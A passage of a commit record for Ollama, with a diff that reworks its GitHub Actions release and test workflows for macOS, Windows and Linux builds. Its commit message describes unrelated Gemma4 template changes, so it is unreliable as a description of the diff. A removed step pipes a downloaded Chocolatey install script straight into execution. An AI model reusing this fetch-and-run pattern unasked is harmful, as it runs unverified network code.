refactor: simplify usage command

Incorporate the upstream Gemma4 chat template refinements for tool-calling stability, turn closure, and multi-turn reasoning. This updates the native renderer and checked-in HF template fixtures to keep adjacent assistant/tool continuations in the same model turn, add the post-tool thought-channel cue when thinking is enabled, and match Google's default of not replaying historical thinking before a later user turn.

Also preserve null tool arguments through Gemma4 rendering/parsing and extend the Jinja2 parity coverage for these upstream behaviors.

.github/workflows/release.yaml

@@ -16,7 +16,7 @@ jobs:
     outputs:
       GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
       VERSION: ${{ steps.goflags.outputs.VERSION }}
-      vendorsha: ${{ steps.changes.outputs.vendorsha }}
+      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
     steps:
       - uses: actions/checkout@v4
       - name: Set environment
@@ -24,7 +24,7 @@ jobs:
         run: |
           echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
           echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
+          echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
 
   darwin-build:
     runs-on: macos-26-xlarge
@@ -39,11 +39,27 @@ jobs:
       APPLE_ID: ${{ vars.APPLE_ID }}
       MACOS_SIGNING_KEY: ${{ secrets.MACOS_SIGNING_KEY }}
       MACOS_SIGNING_KEY_PASSWORD: ${{ secrets.MACOS_SIGNING_KEY_PASSWORD }}
+      DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
       CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
     steps:
       - uses: actions/checkout@v4
+      - name: Select Xcode 26.4.1
+        shell: bash
+        run: |
+          set -euo pipefail
+          if [ ! -d "${DEVELOPER_DIR}" ]; then
+            echo "Missing ${DEVELOPER_DIR}"
+            ls -1 /Applications | grep '^Xcode' || true
+            exit 1
+          fi
+
+          sudo xcode-select -s "${DEVELOPER_DIR}"
+          sw_vers
+          xcodebuild -version
+          xcrun --sdk macosx --show-sdk-version
+          xcrun --find metal
       - run: |
           echo $MACOS_SIGNING_KEY | base64 --decode > certificate.p12
           security create-keychain -p password build.keychain
@@ -57,7 +73,9 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - run: |
           ./scripts/build_darwin.sh
       - name: Log build results
@@ -73,15 +91,18 @@ jobs:
             dist/*.dmg
 
   windows-depends:
+    needs: setup-environment
     strategy:
       matrix:
         os: [windows]
         arch: [amd64]
         preset: ['CPU']
+        build-steps: ['cpu cpuArm64']
         include:
           - os: windows
             arch: amd64
             preset: 'CUDA 12'
+            build-steps: cuda12
             install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
             cuda-components:
               - '"cudart"'
@@ -89,10 +110,10 @@ jobs:
               - '"cublas"'
               - '"cublas_dev"'
             cuda-version: '12.8'
-            flags: ''
           - os: windows
             arch: amd64
             preset: 'CUDA 13'
+            build-steps: cuda13
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cuda-components:
               - '"cudart"'
@@ -103,23 +124,23 @@ jobs:
               - '"nvvm"'
               - '"nvptxcompiler"'
             cuda-version: '13.0'
-            flags: ''
           - os: windows
             arch: amd64
-            preset: 'ROCm 6'
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
-            rocm-version: '6.2'
-            flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
-            runner_dir: 'rocm'
+            preset: 'ROCm 7'
+            build-steps: rocm7
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
           - os: windows
             arch: amd64
             preset: Vulkan
+            build-steps: vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
-            flags: ''
-            runner_dir: 'vulkan'
           - os: windows
             arch: amd64
             preset: 'MLX CUDA 13'
+            build-steps: mlxCuda13
+            build-parallel: '16'
+            cmake-cuda-flags: '-t 6'
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
             cuda-components:
@@ -135,18 +156,34 @@ jobs:
               - '"nvvm"'
               - '"nvptxcompiler"'
             cuda-version: '13.0'
-            flags: ''
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
+      - if: startsWith(matrix.preset, 'MLX ')
+        name: Increase pagefile to 200 GB
+        uses: al-cheb/configure-pagefile-action@v1.5
+        with:
+          minimum-size: 16GB
+          maximum-size: 200GB
+          disk-root: "D:"
       - name: Install system dependencies
         run: |
           choco install -y --no-progress ccache ninja
           if (Get-Command ccache -ErrorAction SilentlyContinue) {
             ccache -o cache_dir=${{ github.workspace }}\.ccache
           }
+      - if: matrix.preset == 'CPU'
+        name: Install Windows ARM64 cross compiler
+        run: |
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
       - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
         id: cache-install
         uses: actions/cache/restore@v4
@@ -195,12 +232,12 @@ jobs:
           }
           
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
-      - if: matrix.preset == 'CPU'
-        run: |
-          echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
       - if: startsWith(matrix.preset, 'MLX ')
         name: Install cuDNN for MLX
         run: |
@@ -232,72 +269,63 @@ jobs:
         with:
           path: ${{ github.workspace }}\.ccache
           key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
-      - name: Build target "${{ matrix.preset }}"
+      - name: Build Windows dependencies
         run: |
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
-          cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
-          cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
-          Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
+          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
+          ./scripts/build_windows.ps1 @steps
         env:
           CMAKE_GENERATOR: Ninja
+          OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
+          OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - if: matrix.preset == 'CPU'
+        name: Verify Windows CPU payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - uses: actions/upload-artifact@v4
         with:
           name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
           path: dist\*
 
   windows-build:
-    strategy:
-      matrix:
-        os: [windows]
-        arch: [amd64, arm64]
-        include:
-        - os: windows
-          arch: amd64
-          llvmarch: x86_64
-        - os: windows
-          arch: arm64
-          llvmarch: aarch64
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+    runs-on: windows
     environment: release
     needs: [setup-environment]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
-      - name: Install ARM64 system dependencies
-        if: matrix.arch == 'arm64'
-        run: |
-          $ErrorActionPreference = "Stop"
-          Set-ExecutionPolicy Bypass -Scope Process -Force
-          [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
-          iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
-          echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-
-          Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
-          Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
-
-          choco install -y --no-progress git gzip
-          echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - name: Install clang and gcc-compat
         run: |
           $ErrorActionPreference = "Stop"
           Set-ExecutionPolicy Bypass -Scope Process -Force
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
           Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
           echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
       - uses: actions/checkout@v4
       - uses: actions/setup-go@v5
         with:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - name: Verify gcc is actually clang
         run: |
           $ErrorActionPreference='Continue'
@@ -314,20 +342,30 @@ jobs:
         with:
           node-version: "20"
       - run: |
-          ./scripts/build_windows ollama app
+          ./scripts/build_windows ollama ollamaArm64 app appArm64
+      - name: Verify Windows build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-arm64/ollama.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
       - uses: actions/upload-artifact@v4
         with:
-          name: build-${{ matrix.os }}-${{ matrix.arch }}
+          name: build-windows-amd64
           path: |
             dist\*
 
   windows-app:
     runs-on: windows
     environment: release
-    needs: [windows-build, windows-depends]
+    needs: [setup-environment, windows-build, windows-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
@@ -353,7 +391,9 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - uses: actions/download-artifact@v4
         with:
           pattern: depends-windows*
@@ -367,6 +407,18 @@ jobs:
       - name: Log dist contents after download
         run: |
           gci -path .\dist -recurse
+      - name: Verify Windows package inputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/ollama.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - run: |
           ./scripts/build_windows.ps1 deps sign installer zip
       - name: Log contents after build
@@ -380,20 +432,33 @@ jobs:
             dist/*.ps1
             dist/OllamaSetup.exe
 
-  linux-build:
+  linux-depends:
     strategy:
       matrix:
         include:
-          - os: linux
-            arch: amd64
-            target: archive
-          - os: linux
-            arch: amd64
-            target: rocm
-          - os: linux
-            arch: arm64
-            target: archive
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+          - arch: amd64
+            target: llama-server-cpu
+          - arch: amd64
+            target: llama-server-cuda_v12
+          - arch: amd64
+            target: llama-server-cuda_v13
+          - arch: amd64
+            target: mlx
+          - arch: amd64
+            target: llama-server-rocm_v7_2
+          - arch: amd64
+            target: llama-server-vulkan
+          - arch: arm64
+            target: llama-server-cpu
+          - arch: arm64
+            target: llama-server-cuda_v12
+          - arch: arm64
+            target: llama-server-cuda_v13
+          - arch: arm64
+            target: jetpack-5
+          - arch: arm64
+            target: jetpack-6
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
     environment: release
     needs: setup-environment
     env:
@@ -401,83 +466,114 @@ jobs:
     steps:
       - uses: actions/checkout@v4
       - uses: docker/setup-buildx-action@v3
+      - uses: docker/login-action@v3
+        with:
+          username: ${{ vars.DOCKER_USER }}
+          password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
+      - if: matrix.target == 'mlx'
+        name: Increase Linux swap to 200 GB
+        shell: bash
+        run: |
+          set -e
+          SWAP_PATH=/swapfile-mlx
+          SWAP_SIZE_GB=200
+          if [ -f "$SWAP_PATH" ]; then
+              sudo swapoff "$SWAP_PATH" 2>/dev/null || true
+              sudo rm -f "$SWAP_PATH"
+          fi
+          if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
+              echo "fallocate unsupported, falling back to dd"
+              sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
+          fi
+          sudo chmod 600 "$SWAP_PATH"
+          sudo mkswap "$SWAP_PATH"
+          sudo swapon "$SWAP_PATH"
+          swapon --show
+          free -h
       - uses: docker/build-push-action@v6
         with:
           context: .
-          platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          platforms: linux/${{ matrix.arch }}
           target: ${{ matrix.target }}
+          provenance: false
+          sbom: false
           build-args: |
             GOFLAGS=${{ env.GOFLAGS }}
             CGO_CFLAGS=${{ env.CGO_CFLAGS }}
             CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
-          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
-          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
-          cache-to: type=inline
-      - name: Deduplicate CUDA libraries
-        run: |
-          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
-      - run: |
-          for COMPONENT in bin/* lib/ollama/*; do
-            case "$COMPONENT" in
-              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
-              lib/ollama/include*)       echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
-              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
-              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
-              lib/ollama/rocm)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
-            esac
-          done
-        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
-      - run: |
-          echo "Manifests"
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
-            echo $ARCHIVE
-            cat $ARCHIVE
-          done
-      - run: |
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
-            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
-          done
-      - uses: actions/upload-artifact@v4
-        with:
-          name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
-          path: |
-            *.tar.zst
+            OLLAMA_MLX_BUILD_JOBS=16
+            OLLAMA_MLX_NVCC_THREADS=6
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          cache-from: |
+            type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
+            type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
 
   # Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
+  # Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
+  # and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
   docker-build-push:
     strategy:
       matrix:
         include:
           - os: linux
             arch: arm64
+            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
               APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
+              type=registry,ref=ollama/release:cache-arm64-jetpack-5
+              type=registry,ref=ollama/release:cache-arm64-jetpack-6
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
+            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
               APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
+              type=registry,ref=ollama/release:cache-amd64-mlx
+              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
+              type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
             suffix: '-rocm'
+            archive-target: image-archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
               FLAVOR=rocm
               APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
-    needs: setup-environment
+    needs: [setup-environment, linux-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
     steps:
@@ -492,9 +588,11 @@ jobs:
         with:
           context: .
           platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          provenance: false
+          sbom: false
           build-args: ${{ matrix.build-args }}
           outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
-          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-from: ${{ matrix.cache-from }}
           cache-to: type=inline
       - run: |
           mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
@@ -505,6 +603,64 @@ jobs:
           name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
           path: |
             ${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          target: ${{ matrix.archive-target }}
+          provenance: false
+          sbom: false
+          build-args: ${{ matrix.build-args }}
+          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
+          cache-from: ${{ matrix.cache-from }}
+      - name: Deduplicate CUDA libraries
+        run: |
+          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
+      - name: Verify Linux build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          base="dist/${{ matrix.os }}-${{ matrix.arch }}"
+          for payload in \
+            "$base/bin/ollama" \
+            "$base/lib/ollama/llama-server"
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - run: |
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "$COMPONENT" in
+              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/llama-server*|lib/ollama/llama-quantize*)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/include*)       echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
+      - if: matrix.suffix == '-rocm'
+        run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
+      - run: |
+          echo "Manifests"
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
+            echo $ARCHIVE
+            cat $ARCHIVE
+          done
+      - run: |
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
+          done
+          wait
+      - uses: actions/upload-artifact@v4
+        with:
+          name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
+          path: |
+            *.tar.zst
 
   # Merge Docker images for the same flavor into a single multi-arch manifest
   docker-merge-push:
@@ -544,7 +700,7 @@ jobs:
   release:
     runs-on: ubuntu-latest
     environment: release
-    needs: [darwin-build, windows-app, linux-build]
+    needs: [darwin-build, windows-app, docker-build-push]
     permissions:
       contents: write
     env:
@@ -562,6 +718,21 @@ jobs:
       - name: Copy install scripts to dist
         run: |
           cp scripts/install.sh dist/install.sh
+      - name: Verify release artifacts
+        run: |
+          required=(
+            dist/OllamaSetup.exe
+            dist/install.ps1
+            dist/install.sh
+            dist/ollama-windows-amd64.zip
+            dist/ollama-windows-arm64.zip
+          )
+          for payload in "${required[@]}"; do
+            if [ ! -f "$payload" ]; then
+              echo "::error::Missing expected release artifact: $payload"
+              exit 1
+            fi
+          done
       - name: Generate checksum file
         run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
         working-directory: dist

.github/workflows/test-llamacpp-update.yaml

@@ -0,0 +1,596 @@
+name: test-llamacpp-update
+
+# PR validation artifacts from this workflow are intentionally unsigned and not
+# notarized. They are for llama.cpp update testing only and must not be
+# published as release artifacts.
+
+on:
+  pull_request:
+    paths:
+      - 'LLAMA_CPP_VERSION'
+
+permissions:
+  contents: read
+
+env:
+  CGO_CFLAGS: '-O3'
+  CGO_CXXFLAGS: '-O3'
+
+jobs:
+  setup-environment:
+    runs-on: ubuntu-latest
+    outputs:
+      GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
+      VERSION: ${{ steps.goflags.outputs.VERSION }}
+      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Set environment
+        id: goflags
+        shell: bash
+        run: |
+          set -euo pipefail
+          VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
+          {
+            echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
+            echo "VERSION=${VERSION}"
+            echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
+          } >>"${GITHUB_OUTPUT}"
+
+  darwin-build:
+    runs-on: macos-26-xlarge
+    needs: setup-environment
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+      CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
+      CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
+      CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - name: Build unsigned Darwin runtime
+        run: ./scripts/build_darwin.sh build package
+      - name: Log build results
+        run: ls -l dist/
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-darwin.tgz
+          path: dist/ollama-darwin.tgz
+          compression-level: 0
+
+  # Build payload export stages independently and combine the exported
